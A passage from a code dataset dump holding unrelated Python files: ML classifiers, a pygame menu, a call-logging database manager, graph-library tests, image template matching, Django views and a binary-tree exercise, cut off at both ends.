departmentList[\"departments\"]\nfor department in departments:\n print(department)\n data = {\n 'title': department[1],\n 'abbreviation': department[0],\n 'imageurl': str(department[0]).lower()+\".png\"\n }\n requests.post(url = URL_POST_DEPARTMENTS, data = data)\n url = URL_COURSES+str(department[0])+\"/\"\n r1 = requests.get(url = url)\n if not r1:\n continue\n courseList = r1.json()\n courses = courseList[\"courses\"]\n for course in courses:\n coursedata = {\n 'title': course[\"name\"],\n 'department': department[1],\n 'code': course[\"code\"]\n }\n requests.post(url = URL_POST_COURSES, data = coursedata)","sub_path":"starter.py","file_name":"starter.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"55418655","text":"from sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.neural_network import MLPClassifier\nimport numpy as np\n\nclass Classifier():\n\n\tdef __init__(self, tweet_file, labels, clf, w2v):\n\t\tself.file = tweet_file\n\t\tself.labels = labels\n\t\tself.tweet2vec = w2v\n\t\tself.features = []\n\t\tif clf == 'KNN':\n\t\t\tself.clf = KNeighborsClassifier()\n\t\telif clf == 'NB':\n\t\t\tself.clf = GaussianNB()\n\t\telif clf == 'MLP':\n\t\t\tself.clf = MLPClassifier()\n\n\tdef make_features(self):\n\t\t\"\"\"Creates features for out model from training tweets\"\"\"\n\t\ttweets = open(self.file, \"r\")\n\t\tfor i, tweet in enumerate(tweets):\n\t\t\tif i > 5000:\n\t\t\t\tbreak\n\t\t\tavg_vec = np.zeros(self.tweet2vec.wv.vector_size)\n\t\t\tfor word in tweet:\n\t\t\t\tif word not in self.tweet2vec.wv.vocab:\n\t\t\t\t\tcontinue\n\t\t\t\tavg_vec = np.add(avg_vec, self.tweet2vec.wv[word])\n\t\t\tself.features.append(np.true_divide(avg_vec, len(tweet)))\n\t\ttweets.close()\n\n\tdef train(self):\n\t\t\"\"\"Trains the classifier\"\"\"\n\t\tself.clf.train(self.features, self.labels)\n\n\tdef predict(self, tweet):\n\t\t\"\"\"Predicts the emoji given a tweet\"\"\"\n\t\tavg_vec = np.zeros(self.tweet2vec.wv.vector_size)\n\t\tfor word in tweet:\n\t\t\tif word not in self.tweet2vec.wv.vocab:\n\t\t\t\tcontinue\n\t\t\tavg_vec = np.add(avg.vec, self.tweet2vec.wv[word])\n\t\tvector = np.true_divide(avg_vec, len(tweet))\n\t\tpred = self.clf.prdict(vector)\n\t\treturn pred\n","sub_path":"classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"566997053","text":"import sys, pygame\nfrom pygame.locals import *\nfrom pygame.constants import *\nfrom _cena import Cena\n\nclass Menu():\n\n def iniciar(self):\n # Criando ambiente\n pygame.init()\n pygame.mixer.init()\n tela = pygame.display.set_mode((1000, 600))\n pygame.display.set_caption(\"Apartamento\")\n tempo = pygame.time.Clock()\n imagemMenu = pygame.image.load(\"img/menu.jpg\")\n pygame.mixer.music.load(\"sons/abertura.mp3\")\n pygame.mixer.music.play(-1)\n \n while True:\n tempo.tick(30)\n\n for evento in pygame.event.get():\n if evento.type == QUIT:\n pygame.quit()\n elif evento.type == KEYDOWN and evento.key == K_ESCAPE:\n sys.exit()\n\n if evento.type == MOUSEBUTTONDOWN:\n x = pygame.mouse.get_pos()[0]\n y = pygame.mouse.get_pos()[1]\n \n if(x > 407.5 and x < 592.83 and y > 275.12 and y < 326.82):\n pygame.mixer.music.load(\"sons/entrar.mp3\")\n pygame.mixer.music.play()\n pygame.time.delay(500)\n cena = Cena()\n cena.iniciar()\n tela.blit(imagemMenu, (0,0))\n pygame.display.update()","sub_path":"apartamento/_menu.py","file_name":"_menu.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"579272033","text":"# Standard library imports\nfrom typing import Dict, Tuple, Union\nimport urllib.parse as urlparse\nimport functools\nimport sqlite3\nimport time\nimport os\n\n# Third party imports\nimport requests\n\n# Package imports\nfrom .callclasses import Call\nfrom . import PROJECT_DIR, CONFIG_DIR, config\n\n# Constants\nError = sqlite3.Error\nSQLDBFILE = os.path.join(PROJECT_DIR, \"run\", \"calllogs.sqlite3\")\n\n\nclass HandleRequestsErrors(object):\n \"\"\"\n Descriptor class setup to act as a decorator that is designed\n to handle request errors raised within the RemoteDB class.\n\n This is used to mark the time that a request error occures,\n delaying execution of another request until the timer runs out.\n\n No point in spaming requests if the server is down, it just slows down this server.\n \"\"\"\n def __init__(self, func):\n self.__name__ = func.__name__\n self.__doc__ = func.__doc__\n self._func = func\n\n def __get__(self, instance, owner):\n return functools.partial(self.wrapper, instance) if instance else self\n\n def wrapper(self, instance, *args, **kwargs) -> Union[bool, float]:\n try:\n self._func(instance, *args, **kwargs)\n except (requests.ConnectionError, requests.HTTPError):\n # Mark the time that the connection failed\n instance.failed = time.time()\n return instance.failed\n else:\n return True\n\n\nclass RemoteDB:\n # Check if the remote logging server is disable/enabled\n enabled = not config[\"system\"].getboolean(\"master\") and config[\"remotedb\"].getboolean(\"enabled\")\n\n def __init__(self):\n self._session = requests.Session()\n self._delay = config[\"remotedb\"].getint(\"delay\") * 60 # converts to seconds\n self._reg_details = {\"system_id\": config[\"system\"][\"systemid\"], \"name\": config[\"system\"][\"systemid\"]}\n self.failed = 0.0\n\n baseurl = \"{0[schema]}://{0[host]}:{0[port]}\".format(config[\"remotedb\"])\n self._reg_url = urlparse.urljoin(baseurl, \"/api/register_location\")\n self._log_rul = urlparse.urljoin(baseurl, \"/api/log_call\")\n\n @HandleRequestsErrors\n def log(self, record: Call):\n with self._session.post(self._reg_url, json=record) as resp:\n resp.raise_for_status()\n\n @HandleRequestsErrors\n def register(self) -> bool:\n \"\"\"Register this location with the server, server can in turn accept or reject the logs.\"\"\"\n with self._session.post(self._reg_url, json=self._reg_details) as resp:\n resp.raise_for_status()\n body = resp.json()\n return body.get(\"ok\", False)\n\n def __bool__(self):\n \"\"\"\n If remote logging is disable then False will always be returned.\n But if remote logging is enabled, then True will be returned unless an error has\n recently occurred, where remote logging will be temporarily disabled for a specified amount of time.\n \"\"\"\n # Only enable if difference between now and last\n # failure is greater than time delay\n if isinstance(self.failed, float):\n now = time.time()\n diff = now - self.failed # now - (time of failure) = time passed sence failure\n\n # Check if required time has passed\n if diff > self._delay:\n self.failed = self.register()\n\n # Return True or False to enable\n # or disable remote logger\n return self.failed\n\n\nclass DataBase:\n \"\"\"Class to handle communication with a sqlite database.\"\"\"\n def __init__(self):\n self.remote_server = RemoteDB() if RemoteDB.enabled else False\n self.conn = conn = sqlite3.connect(SQLDBFILE, timeout=1)\n self.cursor = cur = conn.cursor()\n\n # Create required tables if missing\n sqltables = os.path.join(CONFIG_DIR, \"calltables.sql\")\n with open(sqltables) as stream:\n cur.executescript(stream.read())\n\n # Register this site in site locations table\n self.register_site(config[\"system\"][\"systemid\"], config[\"system\"][\"name\"])\n\n def _insert(self, query: str, record: Union[Dict, Tuple]):\n self.cursor.execute(\"BEGIN\")\n try:\n self.cursor.execute(query, record)\n except Exception:\n self.conn.rollback()\n raise\n else:\n self.conn.commit()\n\n def _insert_incoming(self, record: Call):\n \"\"\"Log that there is a currently active incoming call.\"\"\"\n sqlquery = \"\"\"INSERT OR REPLACE INTO incoming_calls\n VALUES(:system_id, :date, :time, :line, :number, :ext)\"\"\"\n self._insert(sqlquery, record)\n\n def _insert_received(self, record: Call):\n \"\"\"\n Log that a call was received and whether or not the call was answered.\n\n If call was not answered, the call will be added to 'missed_calls' table. If call was answered then\n the call will be removed from 'missed_calls' if call was not answered before and the caller called back.\n\n Also remove the received call from the active incoming calls table 'incoming_calls',\n now that the call has ended.\n \"\"\"\n # Log that an incomming call ended\n sqlquery = \"\"\"INSERT INTO call_logs\n VALUES(:system_id, :date, :time, :line, :answered, :number, :ring, :duration, :ext, :type)\"\"\"\n self._insert(sqlquery, record)\n\n # TODO: Setup a relationship between tables call_logs & missed_calls, No point in duplicating data\n\n # If call was missed then add to missed_calls table\n if record[\"answered\"] == \"No\":\n sqlquery = \"\"\"INSERT OR REPLACE INTO missed_calls\n VALUES(:system_id, :date, :time, :line, :answered, :number, :ring, :duration, :ext)\"\"\"\n self._insert(sqlquery, record)\n\n # If call was answered then remove call from\n # missed_call if call was previously missed\n elif record[\"answered\"] == \"Yes\":\n sqlquery = \"DELETE FROM missed_calls WHERE number = :number AND system_id = :system_id\"\n self._insert(sqlquery, record)\n\n # Remove incomming call entry now that the call has ended\n sqlquery = \"DELETE FROM incoming_calls WHERE num = :number AND system_id = :system_id\"\n self._insert(sqlquery, record)\n\n def _insert_outgoing(self, record: Call):\n \"\"\"\n Log that a outgoing call was made and whether or not the call was answered.\n\n If the call was answered then also check if call was previously missed and remove it from 'missed_calls' table.\n This is required incase someone is returning a missed call.\n \"\"\"\n # Log that an outgoing call was made\n sqlquery = \"\"\"INSERT INTO call_logs\n VALUES(:system_id, :date, :time, :line, :answered, :number, :ring, :duration, :ext, :type)\"\"\"\n self._insert(sqlquery, record)\n\n # Remove call from missed_call if caller was ringing a missed call back.\n if record[\"answered\"] == \"yes\":\n sqlquery = \"DELETE FROM missed_calls WHERE number = :number AND system_id = :system_id\"\n self._insert(sqlquery, record)\n\n def insert_record(self, record: Call):\n # Add call record to database\n inserter = getattr(self, f\"_insert_{record.type.lower()}\")\n inserter(record)\n\n # Log the call on remote master server\n if self.remote_server:\n self.remote_server.log(record)\n\n def register_site(self, system_id: str, name: str):\n sqlquery = \"INSERT or IGNORE INTO site_locations VALUES(?, ?)\"\n self._insert(sqlquery, (system_id, name))\n\n def close(self):\n try:\n self.cursor.close()\n self.conn.close()\n except sqlite3.Error:\n pass\n","sub_path":"apps/call_logger/dbmanager.py","file_name":"dbmanager.py","file_ext":"py","file_size_in_byte":7758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"21383800","text":"from mtcnn import MTCNN\ndetector = MTCNN()\nfrom masknet.core.mask_net import get_pred_mask\n# from mask_net import get_pred_mask\nimport cv2\n\ndef get_person(image_file):\n image = cv2.cvtColor(cv2.imread(image_file), cv2.COLOR_BGR2RGB)\n faces = detector.detect_faces(image)\n if len(faces) ==0:\n return False\n result = list()\n for f in faces:\n if f['confidence'] > 0.8:\n r = dict()\n r['confidence'] = f['confidence']\n r['box'] = f['box']\n r['label'] = \"Person found\"\n x, y, width, height = f['box']\n roi = image[y:y+height, x:x+width]\n roi = cv2.cvtColor(roi, cv2.COLOR_BGR2RGB)\n roi_a = cv2.resize(roi, (256, 256)) \n roi_a = cv2.cvtColor(roi_a, cv2.COLOR_BGR2RGB)\n roi_a = cv2.resize(roi_a, dsize=(224,224) , interpolation=cv2.INTER_AREA)\n r['mask'] = get_pred_mask(roi_a)\n result.append(r)\n return result\n\n\n# print(get_person(\"/home/madhan/Downloads/xx.jpg\"))","sub_path":"masknet/masknet/core/person_detect.py","file_name":"person_detect.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"419713049","text":"# %load q03_get_toss_win_count/build.py\n#Default Imports\nimport numpy as np\nipl_matches_array =np.genfromtxt('data/ipl_matches_small.csv', dtype='|S50', skip_header=1, delimiter=',')\n\n\n#Your Solution\ndef get_toss_win_count(team):\n ipl_matches_array =np.genfromtxt('data/ipl_matches_small.csv', dtype='|S50', skip_header=1, delimiter=',')\n matches , index = np.unique(ipl_matches_array[:,[0]], return_index=True)\n count = 0\n for match in index:\n if ipl_matches_array[match,5] == team :\n count = count+1\n return count\n\n","sub_path":"q03_get_toss_win_count/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"336286280","text":"import mysql.connector\nimport plotly.graph_objects as go\n\ndef fetch_data(what, where):\n\t#connect to database\n\tconnection = mysql.connector.connect(\n\t\thost=\"localhost\",\n\t\tuser=\"root\",\n\t\tpasswd=\"bodyboard\",\n\t\tdatabase=\"kraken_spot_btcusd\"\n\t)\n\tconnection.autocommit = True\n\tmycursor = connection.cursor()\n\tquery = \"SELECT \" + what + \" FROM \" + where\n\tmycursor.execute(query)\n\t#list of tuples\n\tmyresult = mycursor.fetchall()\n\treturn(myresult)\n\n\nRSI = fetch_data('*', 'RSI_24H')\nprint(\"fetched data..\")\n#display test\nrsi, date = zip(*RSI) \n\n# Create traces\nfig = go.Figure()\nfig.add_trace(go.Scatter(x=date, y=rsi,\n mode='lines',\n name='rsi14'))\nfig.show()","sub_path":"tests/rsi_dbug.py","file_name":"rsi_dbug.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"479744855","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport copy\nimport unittest\n\nimport retworkx\n\n\nclass TestDeepcopy(unittest.TestCase):\n def test_isomorphic_compare_nodes_identical(self):\n dag_a = retworkx.PyDAG()\n node_a = dag_a.add_node(\"a_1\")\n dag_a.add_child(node_a, \"a_2\", \"a_1\")\n dag_a.add_child(node_a, \"a_3\", \"a_2\")\n dag_b = copy.deepcopy(dag_a)\n self.assertTrue(retworkx.is_isomorphic_node_match(dag_a, dag_b, lambda x, y: x == y))\n\n def test_deepcopy_with_holes(self):\n dag_a = retworkx.PyDAG()\n node_a = dag_a.add_node(\"a_1\")\n node_b = dag_a.add_node(\"a_2\")\n dag_a.add_edge(node_a, node_b, \"edge_1\")\n node_c = dag_a.add_node(\"a_3\")\n dag_a.add_edge(node_b, node_c, \"edge_2\")\n dag_a.remove_node(node_b)\n dag_b = copy.deepcopy(dag_a)\n self.assertIsInstance(dag_b, retworkx.PyDAG)\n self.assertEqual([node_a, node_c], dag_b.node_indexes())\n\n def test_deepcopy_empty(self):\n dag = retworkx.PyDAG()\n empty_copy = copy.deepcopy(dag)\n self.assertEqual(len(empty_copy), 0)\n\n def test_deepcopy_attrs(self):\n graph = retworkx.PyDiGraph(attrs=\"abc\")\n graph_copy = copy.deepcopy(graph)\n self.assertEqual(graph.attrs, graph_copy.attrs)\n","sub_path":"tests/retworkx_backwards_compat/digraph/test_deepcopy.py","file_name":"test_deepcopy.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"71841976","text":"from PIL import Image, ImageDraw\nimport numpy as np\nimport math\nfrom scipy import signal\nimport ncc\n\n\n#Question 2\n\ntemplate = Image.open('/Users/aurlin/Desktop/425/HW2/hw2/faces/template.jpg')\ntemplate = template.convert('L')\n\nstudent = Image.open('/Users/aurlin/Desktop/425/HW2/hw2/faces/students.jpg')\nstudent = student.convert('L')\n\nfamily = Image.open('/Users/aurlin/Desktop/425/HW2/hw2/faces/family.jpg')\nfamily = family.convert('L')\n\njudy = Image.open('/Users/aurlin/Desktop/425/HW2/hw2/faces/judybats.jpg')\njudy = judy.convert('L')\n\nfans = Image.open('/Users/aurlin/Desktop/425/HW2/hw2/faces/fans.jpg')\nfans = fans.convert('L')\n\nsports = Image.open('/Users/aurlin/Desktop/425/HW2/hw2/faces/sports.jpg')\nsports = sports.convert('L')\n\ntree = Image.open('/Users/aurlin/Desktop/425/HW2/hw2/faces/tree.jpg')\ntree = tree.convert('L')\n\n\n\ndef MakePyramid(image, minsize):\n pyramidArray = [] #create empty array for list of images to be inserted to\n condition = True #boolean value for while condition\n\n while(condition):\n width = image.size[0]\n height = image.size[1]\n #insert image into array\n pyramidArray.append(image) \n #image.show()\n \n #resize image function with given width and height\n image = image.resize((int(width*0.75),int(height*0.75)), Image.BICUBIC)\n \n #while loop boolean check if condition is satisfied\n if ((width <= minsize) or (height <= minsize)):\n condition = False;\n \n #print pyramidArray\n return pyramidArray\n \n \n#MakePyramid(judy,10)\n\n#Question 3\n\ndef ShowPyramid(pyramid):\n #dimensions for blank image\n width = 0 \n height = 0 \n offset_x = 0\n offset_y = 0 #constant\n \n #need to find tota width and height of all the images in given list\n for im in pyramid:\n currWidth = im.size[0]\n currHeight = im.size[1]\n # find total width of all images so they can stack side by side for blank image width size\n width = width + currWidth\n # find the tallest image for blank image height size\n if (currHeight > height):\n height = currHeight\n \n \n #creation of blank image\n image = Image.new(\"L\", (width, height), \"white\")\n \n \n #loop in given array to paste images to blank image\n for im in pyramid:\n # get width distance of each image for offset_x\n width = im.size[0]\n #paste image onto blank image to form continuous image\n image.paste(im,(offset_x,offset_y))\n #offset value needed for next image to be inserted in x-direction\n offset_x = offset_x + width\n \n #show the singleimage\n image.show()\n \n#ShowPyramid(MakePyramid(judy,10))\n\n\n#Question 4\n\ndef FindTemplate(pyramid, template, threshold): \n\tfinder = []\n\twidth = template.size[0]\n\theight = template.size[1]\n\tminWidth = 15\n\t\n\t\n\n\t#resize image with minWidth. Appy ratio of image on y-direction \n\tratio = width/minWidth\n\tyRatio= height/ratio\n\ttemplate = template.resize((minWidth, yRatio), Image.BICUBIC)\n\n\t#compute the NCC function in for loop\n\tfor im in pyramid:\n\t\tthresholdLevel = np.where(ncc.normxcorr2D(im, template) > threshold)\n\t\tthresholdLevel0 = thresholdLevel[0]\n\t\tthresholdLevel1 = thresholdLevel[1]\n\n\t\t#pairs elements of list together\n\t\tfinder.append(zip(thresholdLevel1, thresholdLevel0))\n\n\t# convert pyramid to RGB from L\n\timg = pyramid[0].convert('RGB')\n\n\t\n\tlengthFinder = len(finder)\n\tfor index in range(lengthFinder):\n\t\tresize = 0.75 ** index\n\t\tresize2 = resize * 2\n #off-set the center values for x and y to get the 4 respective coordinate values\n #to make the rectangle\n\t\tfor coord in finder[index]:\n\t\t\tx1 = (coord[0]//resize)- (template.size[0]//resize2)\n\t\t\tx2 = (coord[0]//resize)+ (template.size[0]//resize2)\n\t\t\ty1 = (coord[1]//resize)- (template.size[1]//resize2)\n\t\t\ty2 = (coord[1]//resize)+ (template.size[1]//resize2)\n\n\t\t\t#draw the recangle\n\t\t\tdraw = ImageDraw.Draw(img)\n\t\t\tdraw.rectangle((x1,y1,x2,y2),outline=\"red\")\n\t\t\tdel draw\n\n\treturn img\n\n \n\n\n \n\n \n \n \n \n\n\n\n\n \n\n \n\n\n\n\n \n \n \n \n \n \n \n \n \n \n ","sub_path":"assignment-2/Assignment2-1 (1).py","file_name":"Assignment2-1 (1).py","file_ext":"py","file_size_in_byte":4202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"493503627","text":"\"\"\"Модуль содержит класс для получения списка объектов типа Character с сервера\"\"\"\n\n\nclass Characters:\n \"\"\"Класс персонажи\"\"\"\n\n def __init__(self, req):\n \"\"\"Конструктор\n\n :param IviServerRequests req: объект позволяющий отправить запросы на сервер\n \"\"\"\n self.arr = []\n self.__req = req\n self.__req.obj_type = 'characters'\n\n def get(self):\n \"\"\"Метод получает список объектов с сервера\n\n :return: возвращает масив объектов типа Character с сервера\n :rtype: Character[]\n \"\"\"\n res = self.__req.get()\n if res.code == 200:\n self.arr = res.data\n return res\n","sub_path":"pack/Characters.py","file_name":"Characters.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"285204785","text":"#from test_set_read import Read_from_TestSet\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import MultiLabelBinarizer\n#sns.set_style('darkgrid')\n#%matplotlib inline\n#train_data = Read_from_TestSet()\nfrom nltk.stem import WordNetLemmatizer\nfrom tqdm import tqdm\ntqdm.pandas(desc=\"progress-bar\")\nfrom gensim.models import Doc2Vec\nfrom sklearn import utils\nimport gensim\nfrom gensim.models.doc2vec import TaggedDocument\nimport re\nfrom sklearn.model_selection import train_test_split\nimport multiprocessing\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.svm import LinearSVC\nfrom sklearn.metrics import accuracy_score, f1_score\nimport nltk\nnltk.download('punkt')\nwordnet_lemmatizer = WordNetLemmatizer()\nfrom nltk.corpus import stopwords\ncores = multiprocessing.cpu_count()\ndf = pd.read_csv('train_tweets.txt', header = None,sep='\\t')\n#print(df)\ndf.columns = ['author','text']\n#df = pd.DataFrame(train_data, columns=['author', 'text'])\nauthor = df['author']\ntext = df['text']\n\n\ntrain, test = train_test_split(df, test_size=0.1, random_state=90051)\n\n\ndef tokenize_text(text):\n tokens = []\n for sent in nltk.sent_tokenize(text):\n for word in nltk.word_tokenize(sent):\n if len(word) < 2:\n continue\n word = re.sub(r'[:|,|)|(|\\|/]','',word)\n word = re.sub(r'[\\'|\"|]','',word)\n word = re.sub('!+','!',word)\n word = re.sub(r'\\.+',r'.',word)\n word = re.sub(r'\\$+',r'$',word)\n word = re.sub(r'\\*+',r'*',word)\n word = word.replace(\"http\",\"\")\n if not word.isupper():\n #print(word)\n word = word.lower()\n tokens.append(word)\n tokens = [wordnet_lemmatizer.lemmatize(w) for w in tokens]\n return tokens\ntrain_tagged = train.apply(\n lambda r: TaggedDocument(words=tokenize_text(r['text']), tags=[r.author]), axis=1)\ntest_tagged = test.apply(\n lambda r: TaggedDocument(words=tokenize_text(r['text']), tags=[r.author]), axis=1)\n\nprint(train_tagged[0])\nmodel_dbow = Doc2Vec(dm=0, vector_size=300, negative=5, min_count=15, alpha=0.065, min_alpha=0.065,hs=0,sample = 0, workers=cores)\nmodel_dbow.build_vocab([x for x in tqdm(train_tagged.values)])\n\nfor epoch in range(30):\n model_dbow.train(utils.shuffle([x for x in tqdm(train_tagged.values)]), total_examples=len(train_tagged.values), epochs=1)\n model_dbow.alpha -= 0.002\n model_dbow.min_alpha = model_dbow.alpha\n\n\n\ndef vec_for_learning(model, tagged_docs):\n sents = tagged_docs.values\n targets, regressors = zip(*[(doc.tags[0], model.infer_vector(doc.words, steps=20)) for doc in sents])\n \n return targets, regressors\ny_train, X_train = vec_for_learning(model_dbow, train_tagged)\ny_test, X_test = vec_for_learning(model_dbow, test_tagged)\n#print(X_train[:2])\n#logreg = OneVsRestClassifier(LinearSVC())\nlogreg = LogisticRegression(n_jobs=1, C=1)\nlogreg.fit(X_train, y_train)\ny_pred = logreg.predict(X_test)\n\nprint('Testing accuracy %s' % accuracy_score(y_test, y_pred))\nprint('Testing F1 score: {}'.format(f1_score(y_test, y_pred, average='weighted')))\n\n\ndf = pd.read_csv('test_tweets_unlabeled.txt', header = None,sep='\\t')\ndf.columns = ['text']\nreal_test_tagged = df['text'].apply(\n lambda r: TaggedDocument(words=tokenize_text(r), tags=[1]))\n\ndef vec_for_predict(model, tagged_docs):\n sents = tagged_docs.values\n regressors = [model.infer_vector(doc.words) for doc in sents]\n return regressors\n\nX_test_real = vec_for_predict(model_dbow, real_test_tagged)\n\nY_test_pred_output = logreg.predict(X_test_real)\ndf = pd.DataFrame(Y_test_pred_output,columns=['Predicted'])\ndf.index = df.index + 1\ndf.index.name = 'Id'\ndf.to_csv('doc2vec.csv')\n\n","sub_path":"Project Submission Folder/Doc2Vec.py","file_name":"Doc2Vec.py","file_ext":"py","file_size_in_byte":3874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"196530215","text":"from datetime import datetime\n\nfrom django.views.generic import TemplateView\n\nt = (\n '9:00 - 9:45', '10:00 - 10:45', '10:45 - 11:55', '12:00 - 12:45', '1:00 - 1:45'\n)\n\n\nclass HomePageView(TemplateView):\n template_name = 'main_home.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['period_1'] = t[0]\n context['period_2'] = t[1]\n context['lunch'] = t[2]\n context['period_3'] = t[3]\n context['period_4'] = t[4]\n\n return context\n\n\nclass SupportPageView(TemplateView):\n template_name = 'support.html'\n\n\nclass VideoPageView(TemplateView):\n template_name = 'video.html'\n\n\nclass SchedulePageView(TemplateView):\n template_name = 'schedule.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['period_1'] = t[0]\n context['period_2'] = t[1]\n context['lunch'] = t[2]\n context['period_3'] = t[3]\n context['period_4'] = t[4]\n\n return context\n\n today = datetime.now()\n\n\n\n","sub_path":"hibbswebsite/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"82454591","text":"# Time: ctor: O(n)\n# insert: O(1)\n# get_root: O(1)\n# Space: O(n)\n\n# 919\n# A complete binary tree is a binary tree in which every level,\n# except possibly the last, is completely filled,\n# and all nodes are as far left as possible.\n#\n# Write a data structure CBTInserter that is initialized with\n# a complete binary tree and supports the following operations:\n#\n# CBTInserter(TreeNode root) initializes\n# the data structure on a given tree with head node root;\n# CBTInserter.insert(int v) will insert a TreeNode into the tree\n# with value node.val = v so that the tree remains complete,\n# and returns the value of the parent of the inserted TreeNode;\n# CBTInserter.get_root() will return the head node of the tree.\n#\n# Example 1:\n#\n# Input: inputs = [\"CBTInserter\",\"insert\",\"get_root\"], inputs = [[[1]],[2],[]]\n# Output: [null,1,[1,2]]\n# Example 2:\n#\n# Input: inputs = [\"CBTInserter\",\"insert\",\"insert\",\"get_root\"], inputs = [[[1,2,3,4,5,6]],[7],[8],[]]\n# Output: [null,3,4,[1,2,3,4,5,6,7,8]]\n#\n# Note:\n# - The initial given tree is complete and contains between 1 and 1000 nodes.\n# - CBTInserter.insert is called at most 10000 times per test case.\n# - Every value of a given or inserted node is between 0 and 5000.\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\n# 初始化:维护一个 deque,通过广度优先搜索将 deque 中插入含有incomplete node(0个或者1个孩子的节点)。只有它们才可能用作父节点。\n# 插入节点,父亲是 deque 的第一个元素,新节点加入到deque最后。\nimport collections\nclass CBTInserter(object): # USE THIS: only store uncomplete nodes\n def __init__(self, root):\n self.deque = collections.deque()\n self.root = root\n # BFS\n q = collections.deque([root])\n while q:\n node = q.popleft()\n if node.left:\n q.append(node.left)\n if node.right:\n q.append(node.right)\n # incomplete node\n if not node.left or not node.right:\n self.deque.append(node)\n\n def insert(self, v):\n self.deque.append(TreeNode(v))\n par = self.deque[0]\n if not par.left:\n par.left = self.deque[-1]\n else:\n par.right = self.deque[-1]\n self.deque.popleft()\n return par.val\n\n def get_root(self):\n return self.root\n\n\n# use a list to store all nodes by level order; use //2 to find the index of parent node.\n# Con: unnecessary space to store complete nodes which aren't be needed\nclass CBTInserter2(object):\n\n def __init__(self, root):\n \"\"\"\n :type root: TreeNode\n \"\"\"\n self.__tree = []\n level = [root]\n while level:\n nextLevel = []\n for node in level:\n self._addNode(node) # if input tree is not complete, otherwise self.seq.append(node)\n if node.left:\n nextLevel.append(node.left)\n if node.right:\n nextLevel.append(node.right)\n level = nextLevel\n\n def insert(self, v):\n \"\"\"\n :type v: int\n :rtype: int\n \"\"\"\n cur = TreeNode(v)\n return self._addNode(cur)\n\n def _addNode(self, cur):\n n = len(self.__tree)\n self.__tree.append(cur)\n if n == 0: return None\n\n par = self.__tree[(n-1)//2]\n if n % 2:\n par.left = cur\n else:\n par.right = cur\n return par.val\n\n def get_root(self):\n \"\"\"\n :rtype: TreeNode\n \"\"\"\n return self.__tree[0]\n\n\n# Your CBTInserter object will be instantiated and called as such:\n# obj = CBTInserter(root)\n# param_1 = obj.insert(v)\n# param_2 = obj.get_root()\n","sub_path":"Python/complete-binary-tree-inserter.py","file_name":"complete-binary-tree-inserter.py","file_ext":"py","file_size_in_byte":3863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"313094961","text":"#!/usr/bin/env python\n# import environment data from existing system to new database\n\n# add lib to search path\nimport sys, os\nif sys.argv[0] == '' : sys.argv[0] = './'\nbasepath = '%s/../' % os.path.abspath(\n os.path.dirname(sys.argv[0])\n)\nsys.path.append('%s/lib' % basepath)\n\nimport time\ndef sleep() : time.sleep(1.0)\n\nfrom db import *\nfrom server import *\nfrom BeautifulSoup import BeautifulSoup\nimport re, urllib\n\ndef ingest_builder(uri, pattern=None, **kw) :\n soup = BeautifulSoup(urllib.urlopen(uri).read())\n keys = kw.keys()\n if pattern is None :\n cdefs = [ # candidate definitions gathered from the first key extension\n '.'.join(str(link['href']).split('.')[:-1])\n for link in soup.findAll('a', href=re.compile(r'\\.%s$' % keys[0]))\n ]\n defs = [ # definitions have files for all the keys\n d for d in cdefs if all(\n soup.find('a', href='%s.%s' % (d,key))\n for key in keys\n )\n ]\n else :\n defs = [\n '.'.join(str(link['href']).split('.')[:-1])\n for link in soup.findAll('a', href=pattern)\n ]\n for d in defs :\n yield dict([('name',d)] + [(\n key,\n f(urllib.urlopen('%s%s.%s' % (uri,d,key)).read())\n ) for (key,f) in kw.items()]\n )\n\ndeformations = ingest_builder(\n 'http://burn.giseis.alaska.edu/deformations/',\n extent=lambda s : map(float, s.split()),\n param=lambda s : [ # trick for where-style DRY:\n (lambda xs :\n { 'type' : '', 'params' 